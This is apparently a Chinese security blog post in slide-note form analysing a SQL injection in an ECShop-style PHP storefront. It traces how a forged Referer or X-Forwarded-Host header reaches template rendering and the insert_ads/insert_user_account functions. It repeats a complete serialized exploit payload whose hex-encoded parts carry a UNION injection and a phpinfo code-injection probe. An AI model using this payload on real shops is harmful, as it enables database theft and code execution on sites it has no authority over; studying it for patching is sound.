点击蓝字 · 关注我们
require(dirname(__FILE__).'/includes/init.php'); //核心文件
0x01
-
45ea207d7a2b68c49582d2d22adf953aads 是什么?
-
a:2:{s:3:“num”;s:107:“*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -”;s:2:“id”;s:11:“-1‘ UNION/*”;} //为什么要序列化?
0x02
-
HTTP_REFERER 可控
-
assign加载 ;display展示模板文件 //可控参数被带入assign函数
0x03
-
HTTP_REFERER 伪造
0x04
-
$back_act 可控
0x05
-
$smarty= new cls_template;
0x06
-
assign
0x07
-
assign
-
back_act user_passport.dwt模板赋值
0x08
-
display
0x09
-
Display
-
45ea207d7a2b68c49582d2d22adf953aads是什么?
-
_echash?对结果通过echash 进行分割处理
0x10
-
Display
-
45ea207d7a2b68c49582d2d22adf953aads是什么?
-
_echash 的值
-
与 payload中 45ea207d7a2b68c49582d2d22adf953aads 对比 多了ads
0x11
-
Display
-
Insert_mod
-
分割?(通过|进行了分割处理传参)
0x12
-
Display
-
Insert_mod
-
a:2:{s:3:“num”;s:107:“*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -”;s:2:“id”;s:11:“-1‘ UNION/*”;} //为什么要序列化?
0x13
-
SQL
通过_echash 进行分割,传参进入insert_mod
0x14
-
SQL
通过_echash进行分割,传参进入insert_mod,打印$k会发现分割后,剩下的ads|序列化后的数据,进入insert_mod(key值为5,满足$key%2 ==1)
0x15
-
SQL
ads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}
0x16
-
SQL
Insert_mod处理,通过分割后,$fun与多出的ads 进行拼接,$para是我们可控的序列化数据,最后被带入insert_ads造成SQL 注入。
0x17
-
SQL 拼接导致的SQL 注入
0x18
-
HTTP 头传参(防止被转义)
-
可控参数代入assign渲染模板
-
display 进行_echash进行分割,带入insert_mod
-
一个可以利用的inser_xxx函数 造成SQL
0x01
-
新的HTTP头寻找
0x02
-
Get_domain以HTTP_X_FORWARDED_HOST获取返回Function url() 函数调用了 get_domain 函数。
0x03
-
可控点有了,找带入assign然后被display展示,
0x04
-
可以加载的insert_xxx
-
Insert_user_account 拼接注入user_id等参数可控
0x01
-
$_echash
-
函数名 user_account -
SQLpayload 序列化后的数据
0x02
-
SQLpayload
EDI安全
扫二维码|关注我们
一个专注渗透实战经验分享的公众号
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论